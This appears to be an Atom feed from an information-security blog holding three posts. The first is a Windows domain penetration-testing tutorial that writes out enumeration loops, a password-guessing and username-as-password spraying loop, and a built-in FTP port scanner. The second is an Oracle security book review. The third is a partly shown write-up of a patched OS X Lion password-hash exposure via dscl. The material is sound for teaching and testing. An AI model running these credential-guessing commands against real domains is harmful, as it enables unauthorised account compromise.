<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" gd:etag="W/&quot;A0MMQn49fip7ImA9WhVUF04.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337</id><updated>2012-05-22T19:18:03.066-07:00</updated><category term="install" /><category term="ccmp" /><category term="documentation" /><category term="news" /><category term="av" /><category term="vulnerability" /><category term="hash" /><category term="str0ke" /><category term="packing" /><category term="wpa2" /><category term="australian" /><category term="incident" /><category term="encryption" /><category term="backtrack" /><category term="cracking" /><category term="iphone" /><category term="exploitation" /><category term="dep" /><category term="kismet" /><category term="alternative" /><category term="radius" /><category term="peap" /><category term="msfpayload" /><category term="obfuscate" /><category term="aes" /><category term="macintosh" /><category term="java" /><category term="authentication" /><category term="wifi" /><category term="information gathering" /><category term="security" /><category term="msfencode" /><category term="wordlist" /><category term="metasploit" /><category term="wpa" /><category term="australia" /><category term="forensics" /><category term="incidentresponse" /><category term="tkip" /><category term="report" /><category term="mac" /><category term="worm" /><category term="penetrationtesting" /><category term="framework" /><category term="pentest" /><category term="exploit" /><category term="passthehash" /><category term="milworm" /><category term="obfuscation" /><category term="incient response" /><category term="eap" /><category term="pass-the-hash" /><category term="rsa" /><category term="hacking" /><category term="crack" /><category term="respitory" /><category term="risk" /><category term="sourcecode" /><category term="template" /><category term="osx" /><category term="scramble" /><category term="archive" /><category term="response" /><category term="leopard" /><category term="windows" /><category term="autopwn" /><category term="code" /><category term="bypass" /><category term="avoidance" /><category term="aslr" /><category term="repository" /><category term="commandline" /><category term="milw0rm" /><category term="research" /><category term="upx" /><category term="internet explorer" /><category term="howto" /><category term="tutorial" /><category term="ikee" /><category term="enumeration" /><category term="emet" /><category term="nessus" /><category term="blog" /><category term="backtrack4" /><category term="ie" /><category term="source" /><category term="antivirus" /><category term="ntlm" /><category term="802.11" /><category term="wireless" /><category term="dictionary" /><category term="history" /><category term="virus" /><category term="microsoft" /><category term="samba" /><category term="john" /><category term="lm" /><category term="password" /><category term="scambling" /><title>Defence in Depth</title><subtitle type="html"># An information security blog.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>21</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/DefenceInDepth" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="defenceindepth" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">DefenceInDepth</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><entry gd:etag="W/&quot;DkEFSH46fCp7ImA9WhVUFkQ.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-3140124944974335836</id><published>2012-05-22T06:43:00.000-07:00</published><updated>2012-05-22T06:50:19.014-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-05-22T06:50:19.014-07:00</app:edited><title>Exploiting the Windows Domain</title><content type="html">A common recommendation I often come across is that Internet-facing systems should not be a part of an active Windows domain. As an exercise of interest, I have decided to look at this topic a little deeper and explore what advantage (if any) access to a domain member really provides.&lt;br /&gt;
&lt;br /&gt;
In this scenario I will demonstrate how to gain privilege within a Windows domain using only the tools available on a default Windows install. I will be working under the assumption that:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;I have access to a public terminal (or something similar) with up-to-date anti-virus.&lt;/li&gt;
&lt;li&gt;I do not have administrative access on the host.&lt;/li&gt;
&lt;li&gt;I do not have access to any third-party tools.&lt;/li&gt;
&lt;/ol&gt;
Once connected to a Windows workstation, the first piece of information I want to find is the domain namespace. This can be done a couple of different ways:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;nbtstat –A &amp;lt;IP-Address&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-qPc67Vs30Sg/T7tq0x72rNI/AAAAAAAAAF8/lLqKzfEgk08/s1600/1-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="315" src="http://3.bp.blogspot.com/-qPc67Vs30Sg/T7tq0x72rNI/AAAAAAAAAF8/lLqKzfEgk08/s320/1-alt.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;net config workstation&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-2ZLKizHnUtY/T7tq9AESptI/AAAAAAAAAGE/-rvQ3urnB14/s1600/2-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://1.bp.blogspot.com/-2ZLKizHnUtY/T7tq9AESptI/AAAAAAAAAGE/-rvQ3urnB14/s320/2-alt.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next, because I am working from a domain member, I can query the domain controller and check whether it’s aware of any additional domains:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;net view /domain&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-V7B4PekpZQ8/T7trqqCvs5I/AAAAAAAAAGM/BtJ4nciwTLs/s1600/3-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="159" src="http://4.bp.blogspot.com/-V7B4PekpZQ8/T7trqqCvs5I/AAAAAAAAAGM/BtJ4nciwTLs/s320/3-alt.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
*Note: It is often advantageous to target other domains such as those used for testing and development. These environments will often contain hosts where less emphasis is placed on security.&lt;br /&gt;
&lt;br /&gt;
Next I am interested in knowing what hosts exist on the domain. For this, I can query the domain controller:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;net view /domain:&amp;lt;DOM&amp;gt; &amp;gt; hosts.txt&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-9N148C3YRxU/T7tr91uGC-I/AAAAAAAAAGU/wrm9711xO5w/s1600/4-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="276" src="http://1.bp.blogspot.com/-9N148C3YRxU/T7tr91uGC-I/AAAAAAAAAGU/wrm9711xO5w/s320/4-alt.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Depending on the size of the network this listing can get quite large. I have redirected the output into a text file to prevent continually query the domain controller.&lt;br /&gt;
&lt;br /&gt;
*Note: This command will not typically respond with every Windows host on the network. Only hosts available via NETBIOS are known to the domain controller.&lt;br /&gt;
&lt;br /&gt;
Because I’m on a Windows domain, I can be fairly certain some machines will have file sharing turned on. &amp;nbsp;Large networks are often host to a myriad of file shares with “interesting” data on them. It’s not uncommon to find personally identifiable information or even login credentials sitting on workstation or server shares.&lt;br /&gt;
&lt;br /&gt;
To obtain a list of systems with active shares I can query each domain member by using:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;for /f %i in (hosts.txt) do @(net view \\%i &amp;gt;&amp;gt; shares.txt 2&amp;gt;nul)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-6rb-WL0OFPo/T7tsIBOw90I/AAAAAAAAAGc/lMBLvhlD_VM/s1600/5-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-6rb-WL0OFPo/T7tsIBOw90I/AAAAAAAAAGc/lMBLvhlD_VM/s320/5-alt.JPG" width="244" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This command will loop over the file containing the domain members (obtained from the previous command) and query each host for open shares. Any errors (i.e. inaccessible systems) are discarded.&lt;br /&gt;
&lt;br /&gt;
As previously mentioned, in some cases you may get lucky and find exactly what you’re looking for within these shares. For the sake of this exercise, however, let’s assume there was nothing interesting found.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/--7AqaFUVwvc/T7t65C5abBI/AAAAAAAAAHQ/69doW6w6IK0/s1600/6-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="311" src="http://2.bp.blogspot.com/--7AqaFUVwvc/T7t65C5abBI/AAAAAAAAAHQ/69doW6w6IK0/s320/6-alt.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next I am interested in what users and groups exist on the domain. The goal here is to elevate my privileges on the domain (remember, I only have ‘User’ rights on one system thus far). To obtain a list of domain users and groups I can query the domain controller as follows:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;net user /domain &amp;gt; users.txt&lt;/b&gt;&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;/b&gt;&lt;b&gt;net group /domain &amp;gt; groups.txt&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Once this information is gathered I want to look for “interesting” user accounts. Usernames containing the words “temp”, “test”, “tst”, “tmp”, "helpdesk", "ftp" are all of interest here as testing and temporary accounts often have simple passwords.&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;type users.txt | find “test”&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
If there are no stand-out usernames in the list above I can direct my efforts on querying the groups:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;b&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;type groups.txt | find “helpdesk”&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
The domain controller can then be queried to dump the users belonging to that group:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;net group “helpdesk” /domain&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-we-sYWUIGtU/T7uMIlokG4I/AAAAAAAAAHc/bdJGlvxnns8/s1600/Capture.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="146" src="http://4.bp.blogspot.com/-we-sYWUIGtU/T7uMIlokG4I/AAAAAAAAAHc/bdJGlvxnns8/s320/Capture.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
*NOTE: I have chosen to target non-administrative accounts here as they typically have weaker passwords. However, it is certainly not unheard of to have weak passwords on account belonging to “Domain Admins”. Always worth checking :)&lt;br /&gt;
&lt;br /&gt;
Having chosen a number of domain users to target I can now attempt to compromise these accounts through password guessing. I can accomplish this through SMB connection attempts against a host on the domain. Which host I choose here doesn’t matter as authentication occurs against the domain controller and not the host itself.&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;for /f %i in (users.txt) do @(for /f %j in (passwords.txt) do @(echo Trying %i:%j... &amp;gt;&amp;gt; success.txt &amp;amp;&amp;amp; net use \\wombat /u:%i %j 1&amp;gt;&amp;gt;success.txt &amp;amp;&amp;amp; net use \\wombat /del))&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-c5EsFWf8-aw/T7t4OW4DGXI/AAAAAAAAAGw/CmoP4b1NEt8/s1600/9-alt.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="317" src="http://2.bp.blogspot.com/-c5EsFWf8-aw/T7t4OW4DGXI/AAAAAAAAAGw/CmoP4b1NEt8/s320/9-alt.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This script will loop over a list of targeted usernames (in &lt;i&gt;users.txt&lt;/i&gt;) and try simple password attempts against each account from the &lt;i&gt;passwords.txt&lt;/i&gt; file.&lt;i&gt; Success.txt&lt;/i&gt; will keep a log of successful password guesses. Keep in mind here I am only targeting the low hanging fruit. Only a few passwords are being attempted for each account as to not lock out any accounts.&lt;br /&gt;
&lt;br /&gt;
With a small adaptation this script I can choose to target every account in the entire domain:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;for /f %i in (users.txt) do @( echo Trying %i:%j... &amp;gt;&amp;gt; success.txt &amp;amp;&amp;amp; net use \\wombat /u:%i %i 1&amp;gt;&amp;gt;success.txt &amp;amp;&amp;amp; net use \\wombat /del)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Here I am scanning the entire domain for accounts that use their username as their password. This is sometimes known as a horizontal password scan.&lt;br /&gt;
&lt;br /&gt;
The benefits of horizontal scanning become apparent in environments with a large user base. An increase in the number of accounts often improves the chances of discovering an account with a weak password. The chance of locking out an account is also significantly decreased as only a small number of password guesses are attempted against each account.&lt;br /&gt;
&lt;br /&gt;
The above script could also be tweaked to guess the password of the default local administrative account (RID 500) on the current machine. Providing this account is active, it cannot be locked out (meaning infinite password guesses).&lt;br /&gt;
&lt;br /&gt;
Once credentials have been acquired for a domain account the next step is to find out what access the account has. Indeed, it may be the case that only a particular service on a particular host is accessible from the captured account.&lt;br /&gt;
&lt;br /&gt;
The next step in this process is to find out what services are available on the domain. This would be quite simple with nmap... but remember, we don’t have access to any third-party tools! To get around this I have adapted Ed Skoudis’ FTP command line port scanner:&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;for /f %i in (hosts.txt) do @(for /f %j in (ports.txt) do @(echo Checking %i:%j... &amp;amp; echo %i:%j &amp;gt;&amp;gt; success.txt &amp;amp; echo open %i %j &amp;gt; commands.txt &amp;amp; echo quit &amp;gt;&amp;gt; commands.txt &amp;amp; ftp -n -s:commands.txt 1&amp;gt;&amp;gt;success.txt))&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-aasy23O7-tI/T7t4eYU6WYI/AAAAAAAAAHA/LdJijNBpq08/s1600/7-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-aasy23O7-tI/T7t4eYU6WYI/AAAAAAAAAHA/LdJijNBpq08/s320/7-alt.JPG" width="280" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This script attempts to make a connection to each port in &lt;i&gt;ports.txt &lt;/i&gt;(I've chose 21\ftp)&amp;nbsp;for every domain member in &lt;i&gt;hosts.txt&lt;/i&gt; (found at the beginning of this exercise). It uses the built-in Windows FTP client to read in commands (-s flag) from commands.txt to make each connection. Logging information is stored in &lt;i&gt;success.txt&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Once the available network services have been mapped I can then attempt to exploit / gain access to these services:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-z2LYHsvpvDM/T7t4oiej8eI/AAAAAAAAAHI/R62zcHviPF0/s1600/8-alt.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="275" src="http://2.bp.blogspot.com/-z2LYHsvpvDM/T7t4oiej8eI/AAAAAAAAAHI/R62zcHviPF0/s320/8-alt.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
In this post I have demonstrated several examples of how domain membership can be abused to gain privilege on a Windows' domain. Due to the inherent verbose nature of Windows’ domains, attackers have the advantage of gaining valuable information about a target network in a relatively short period of time. That said, however, a&amp;nbsp;skilled attacker always has (and always will) be able to penetrate a network’s defences regardless of having domain membership or not.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-3140124944974335836?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yFu5HwpqLdgx0OuKmH-pAjlI-Ms/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yFu5HwpqLdgx0OuKmH-pAjlI-Ms/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yFu5HwpqLdgx0OuKmH-pAjlI-Ms/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yFu5HwpqLdgx0OuKmH-pAjlI-Ms/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/3140124944974335836/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2012/05/exploiting-windows-domain.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/3140124944974335836?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/3140124944974335836?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2012/05/exploiting-windows-domain.html" title="Exploiting the Windows Domain" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-qPc67Vs30Sg/T7tq0x72rNI/AAAAAAAAAF8/lLqKzfEgk08/s72-c/1-alt.JPG" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CU8BSXg_fSp7ImA9WhRQEE4.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-1883605129530743247</id><published>2011-12-03T06:19:00.001-08:00</published><updated>2011-12-04T13:24:18.645-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-04T13:24:18.645-08:00</app:edited><title>Book Review: The Oracle Hacker's Handbook</title><content type="html">Due to the proprietary nature of the Oracle beast, offensive security information relating to Oracle databases is difficult to obtain at the best of times. Where this information is available, it’s usually in dribs and drabs and rarely consolidated. The Oracle Hacker’s Handbook is one reference which aims to fill this gap.&lt;br /&gt;
&lt;br /&gt;
The Oracle Hacker’s Handbook (TOHH) is written by one of the foremost respected commentators on Oracle database security, David Litchfield. The book is comprised of 12 chapters, each containing a myriad of attack methods and exploit examples on how to compromise Oracle databases. Whilst this book is certainly great as a reference guide, I feel several shortcomings make this book fall well short of the Oracle hackers “bible”.&lt;br /&gt;
&lt;br /&gt;
The biggest issue I have with this book is the lack of background information for certain topics. One such example can be seen in chapter 7 Indirect Privilege Escalation. By the end of this chapter, one would expect the reader to have the knowledge and skills to perform some type of privilege escalation within a database. However, due to the lack of background knowledge given in proceeding chapters, it would be very difficult for someone to mimic any of the attacks described. I will discuss three such examples from chapter 7.&lt;br /&gt;
&lt;br /&gt;
The first method given to escalate privileges uses an account which has access to particular privileges and a particular trigger on the system. The author introduces the chapter by providing a scenario whereby you (the reader) have an account with this privilege and trigger. The problem: nowhere in the book does it describe how one can list privileges or triggers for a particular user. Without this, it is not possible to mimic the method described.&lt;br /&gt;
&lt;br /&gt;
Following on from this, the reader is told they need to determine all DBA accounts on the system and which tables/views they own. However, nowhere does the book provide any information on how to accomplish this.&lt;br /&gt;
&lt;br /&gt;
The final paragraph begins with “We’ve found an SQL injection flaw in a package owned by a user who has very few privileges.” However, at no point in this book is there any information on how to view the privileges of other accounts, how to find/look through packages, or how to see who owns a particular package – all paramount to achieving this attack vector.&lt;br /&gt;
&lt;br /&gt;
This theme continues throughout the book.&lt;br /&gt;
&lt;br /&gt;
Another major gripe I have with this book is that the author omits key information in certain chapters and instead refers the reader to his other book (The Database Hackers Handbook). I found this particularly frustrating considering I bought this book under the impression I was buying a complete Oracle reference. Unfortunately, it falls well short of this.&lt;br /&gt;
&lt;br /&gt;
Published in 2007, TOHH covered all major flavors of Oracle (7, 8i, 9i and 10g) which were then popular. At the time of publishing the author also released code for vulnerabilities that had not yet been seen. However, four years on and most (if not all) of these vulnerabilities have since been patched and versions of Oracle prior to 10gR2 are seldom seen. With 11g having been around since 2007, TOHH I fear is quickly becoming antiquated.&lt;br /&gt;
&lt;br /&gt;
From a penetration tester’s perspective, I (initially) found this book a difficult read. I feel with large gaps in introductory topics that many of the attacks described will be lost on beginners. The best suited audience I feel for this book is an Oracle DBA who is interested in learning about offensive security methods. Someone well versed in Oracle databases would certainly find this book an interesting read.&lt;br /&gt;
&lt;br /&gt;
Based on what I had read about this book my expectations were quite high. Many people I respect in the industry have endorsed this book and the author is very well respected on these topics. I think this is a good book to have on the shelf as a reference but it should certainly be supplemented with other readings and materials. If you are new to Oracle I would recommend covering the basics before delving into this book. Because resources that consolidate offensive Oracle security information are few and far between, this book certainly has a place on anyone’s bookshelf who is concerned with Oracle database security.&lt;br /&gt;
&lt;br /&gt;
3.5/5&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-1883605129530743247?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6QdsOJPxlR7Hk72uFx-aW_Zz1o4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6QdsOJPxlR7Hk72uFx-aW_Zz1o4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6QdsOJPxlR7Hk72uFx-aW_Zz1o4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6QdsOJPxlR7Hk72uFx-aW_Zz1o4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/1883605129530743247/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2011/12/book-review-oracle-hackers-handbook.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1883605129530743247?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1883605129530743247?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2011/12/book-review-oracle-hackers-handbook.html" title="Book Review: The Oracle Hacker's Handbook" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;C04HQXc8eSp7ImA9WhdbFkU.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-6832937480836844952</id><published>2011-09-18T06:07:00.000-07:00</published><updated>2011-10-15T05:32:10.971-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-15T05:32:10.971-07:00</app:edited><title>Cracking OS X Lion Passwords</title><content type="html">&lt;b&gt;UPDATE [2011-10-15]:&lt;/b&gt;&lt;br /&gt;
The issues described in this post have now been resolved by Apple. Users running OS X Lion 10.7.2 or security update 2011-006 are no longer affected by the vulnerabilities detailed below (CVE-2011-3435 and CVE-2011-3436). For further details on this security update please see &lt;a href="http://support.apple.com/kb/HT5002"&gt;Apple's advisory&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In 2009 I posted an article on &lt;a href="http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html"&gt;Cracking Mac OS X passwords&lt;/a&gt;. Whilst this post has been quite popular, it was written for OS X 10.6 and prior. Since the release of Mac OS X Lion (10.7) in July, I have received numerous requests for an update. Typically, I would have just updated the existing article without the need for a new post. However, during my research I discovered something interesting about OS X Lion that I'd like to share.&lt;br /&gt;
&lt;br /&gt;
In previous versions of OS X (10.6, 10.5, 10.4) the process to extract user password hashes has been the same: obtain the user's GeneratedUID and then use that ID to extract hashes from a specific user's shadow file (See my previous post for a more detailed description).&lt;br /&gt;
&lt;br /&gt;
When it comes to Lion, the general premise is the same (albeit a few technical differences). Each user has their own shadow file, with each shadow file stored under a .plist file located in /var/db/dslocal/nodes/Default/users/.&lt;br /&gt;
&lt;br /&gt;
The interesting thing when it comes to Lion's implementation, however, is privilege. As mentioned above, all OS X versions are using shadow files. For the unfamiliar, a shadow file is that which can only be accessed by users with a high privilege (typically root). So for all modern OS X platforms (Tiger, Leopard, Snow Leopard and Lion) each user has their own shadow file (hash database) whose data is accessible only by the root user… or at least it should be.&lt;br /&gt;
&lt;br /&gt;
It appears in the redesign of OS X Lion's authentication scheme a critical step has been overlooked. Whilst non-root users are unable to access the shadow files directly, Lion actually provides non-root users the ability to still view password hash data. This is accomplished by extracting the data straight from Directory Services.&lt;br /&gt;
&lt;br /&gt;
If we invoke a a directory services listing on user bob by specifying the /Local/ path we can see bob's standard profile information:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
$ dscl localhost -read /Local/Default/Users/bob&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;br /&gt;
This provides us with nothing too exciting. However, if we invoke the directory services listing using the /Search/ path, we see a different result:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
$ dscl localhost -read /Search/Users/bob&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-HkfY9mfC9jg/TnXes39RafI/AAAAAAAAAFY/BzAHuvJIDlo/s1600/Screen+Shot+2011-09-18+at+9.33.24+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="209" src="http://3.bp.blogspot.com/-HkfY9mfC9jg/TnXes39RafI/AAAAAAAAAFY/BzAHuvJIDlo/s320/Screen+Shot+2011-09-18+at+9.33.24+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
From the output, we can see the following data:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;dsAttrTypeNative:ShadowHashData:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 &lt;span style="color: red;"&gt;74911f72&lt;/span&gt; &lt;span style="color: #38761d;"&gt;3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b 4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673&lt;/span&gt; 080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Note: The SHA512 hash is stored from bytes 32-96 (green) and the salt is stored from bytes 28-31(red). For more information on these hashes please see &lt;a href="http://www.hackmac.org/forum/topic/260-cracking-107-lion-password-hashes/"&gt;this thread&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
